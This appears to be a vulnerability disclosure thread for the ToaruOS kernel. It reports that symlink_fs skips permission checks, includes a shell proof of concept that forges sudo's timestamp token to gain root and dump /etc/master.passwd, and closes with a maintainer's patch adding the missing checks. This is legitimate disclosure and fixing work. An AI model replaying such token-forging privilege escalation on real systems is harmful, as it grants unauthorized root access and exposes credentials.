klange
Missing permission checks on symlink_fs leads to privilege escalation using sudo
Missing permission checks in symlink_fs lead to privilege escalation by creating a symbolic link at /var/sudoers/1000 pointing to a file with a recent timestamp.
sudo uses a token_file with a timestamp to check for previous sudo usages, so it does not prompt the user for a password all the time:
sprintf(token_file, "/var/sudoers/%d", me); /* TODO: Restrict to this session? */
if (need_password) {
struct stat buf;
if (!stat(token_file, &buf)) {
/* check the time */
if (buf.st_mtime > (SUDO_TIME) && time(NULL) - buf.st_mtime < (SUDO_TIME)) {
need_password = 0;
}
}
}
symlink_fs allows to create file anywhere, as long as it does not overwrite an existing file.
int symlink_fs(char * target, char * name) {
fs_node_t * parent;
char *cwd = (char *)(this_core->current_process->wd_name);
char *path = canonicalize_path(cwd, name);
char * parent_path = malloc(strlen(path) + 5);
snprintf(parent_path, strlen(path) + 4, "%s/..", path);
char * f_path = path + strlen(path) - 1;
while (f_path > path) {
if (*f_path == '/') {
f_path += 1;
break;
}
f_path--;
}
debug_print(NOTICE, "creating symlink %s within %s", f_path, parent_path);
parent = kopen(parent_path, 0);
free(parent_path);
if (!parent) {
free(path);
return -ENOENT;
}
int ret = 0;
if (parent->symlink) {
ret = parent->symlink(parent, target, f_path);
} else {
ret = -EINVAL;
}
free(path);
close_fs(parent);
return ret;
}
With the arbitrary file write using symlink_fs, we can create the /var/sudoers/1000 token_file and pass this check without entering the password.
The other filesystem related syscalls use a permission check function, which symlink_fs seems to be missing. https://github.com/klange/toaruos/blob/e03e2ff189c3d424701a2dd10dc7ffbd55a3f346/kernel/vfs/vfs.c#L509
Over all, the privilege escalation PoC looks as follows:
local@livecd ~$ sudo ls [12/30 17:32:52]
[sudo] password for local:
Sorry, try again.
[sudo] password for local:
Sorry, try again.
[sudo] password for local:
sudo: 3 incorrect password attempts
local@livecd 1 ~$ echo "hello" > test.txt [12/30 17:32:57]
local@livecd ~$ ln -s /home/local/test.txt /var/sudoers/1000 [12/30 17:33:05]
local@livecd ~$ sudo cat /etc/master.passwd [12/30 17:33:33]
root:toor:0:0:Administrator:/home/root:/bin/esh:fancy
local:local:1000:1000:Local User:/home/local:/bin/esh:fancy
guest:guest:1001:1001:Guest User:/home/guest:/bin/esh:fancy
local@livecd ~$ [12/30 17:33:39]
If the /var/sudoers/1000 file already exists due to a successful login attempt, you can also just write to the file after the timeout.
local@livecd ~$ sudo ls [12/30 17:59:16]
[sudo] password for local:
Desktop README.md text_layout.krk
local@livecd ~$ sudo ls [12/30 18:04:21]
[sudo] password for local:
Sorry, try again.
[sudo] password for local:
Sorry, try again.
[sudo] password for local:
sudo: 3 incorrect password attempts
local@livecd 1 ~$ echo "root please" > /var/sudoers/1000 [12/30 18:04:48]
local@livecd ~$ sudo ls [12/30 18:04:56]
Desktop README.md text_layout.krk
The other filesystem related syscalls use a permission check function, which symlink_fs seems to be missing.
if (!has_permission(parent, 02)) {
Ah, even that's wrong... that's only checking for w but it needs to be wx...
If the /var/sudoers/1000 file already exists due to a successful login attempt, you can also just write to the file after the timeout.
This seems to work because of a combination of two things - we're never examining directory 'search' permissions... so while there is a check that you can't otherwise edit the directory entries because /var/sudoers is 0700, you can still manage to open /var/sudoers/1000 directly, and further, the permission mask sudo uses when creating the token files is also a+rw, so anyone can write to those existing token files (it also creates those files with the group id for the original user... but I'm not sure that matters?).
I think this should suffice to fix the wx problem across the board (almost missed unlink when I was typing this up...), as well as the missing x search checks when opening files in general (though I've realized a design issue with kopen where we can't properly communicate the permission failure - that'll take a bit more reworking and we'll have to settle for things throwing ENOENT for now...):
diff --git a/kernel/vfs/vfs.c b/kernel/vfs/vfs.c
index bf4c559f..11fd8e9e 100644
--- a/kernel/vfs/vfs.c
+++ b/kernel/vfs/vfs.c
@@ -392,8 +392,10 @@ int create_file_fs(char *name, mode_t permission) {
return -ENOENT;
}
- if (!has_permission(parent, 02)) {
- debug_print(WARNING, "bad permissions");
+ /* Need both exec and write on the parent to create a new entry */
+ if (!has_permission(parent, 02) || !has_permission(parent, 01)) {
+ free(path);
+ close_fs(parent);
return -EACCES;
}
@@ -441,7 +443,7 @@ int unlink_fs(char * name) {
return -ENOENT;
}
- if (!has_permission(parent, 02)) {
+ if (!has_permission(parent, 02) || !has_permission(parent, 01)) {
free(path);
close_fs(parent);
return -EACCES;
@@ -499,17 +501,11 @@ int mkdir_fs(char *name, mode_t permission) {
return -EEXIST;
}
- fs_node_t * this = kopen(path, 0);
- int _exists = 0;
- if (this) { /* We need to do this because permission check stuff... */
- close_fs(this);
- _exists = 1;
- }
-
- if (!has_permission(parent, 02)) {
+ /* Need both exec and write on the parent to create a new entry */
+ if (!has_permission(parent, 02) || !has_permission(parent, 01)) {
free(path);
close_fs(parent);
- return _exists ? -EEXIST : -EACCES;
+ return -EACCES;
}
int ret = 0;
@@ -564,6 +560,13 @@ int symlink_fs(char * target, char * name) {
return -ENOENT;
}
+ /* Need both exec and write on the parent to create a new entry */
+ if (!has_permission(parent, 02) || !has_permission(parent, 01)) {
+ free(path);
+ close_fs(parent);
+ return -EACCES;
+ }
+
int ret = 0;
if (parent->symlink) {
ret = parent->symlink(parent, target, f_path);
@@ -1095,6 +1098,15 @@ fs_node_t *kopen_recur(const char *filename, uint64_t flags, uint64_t symlink_de
return node_ptr;
}
/* We are still searching... */
+ if (!has_permission(node_ptr, 01)) {
+ /*
+ * TODO: kopen_recur has no way to pass along a failure reason?
+ * This will appear as 'ENOENT' instead of 'EACCESS', should fix that...
+ */
+ free(node_ptr);
+ free((void*)path);
+ return NULL;
+ }
debug_print(INFO, "... Searching for %s", path_offset);
fs_node_t * node_next = finddir_fs(node_ptr, path_offset);
free(node_ptr); /* Always a clone or an unopened thing */
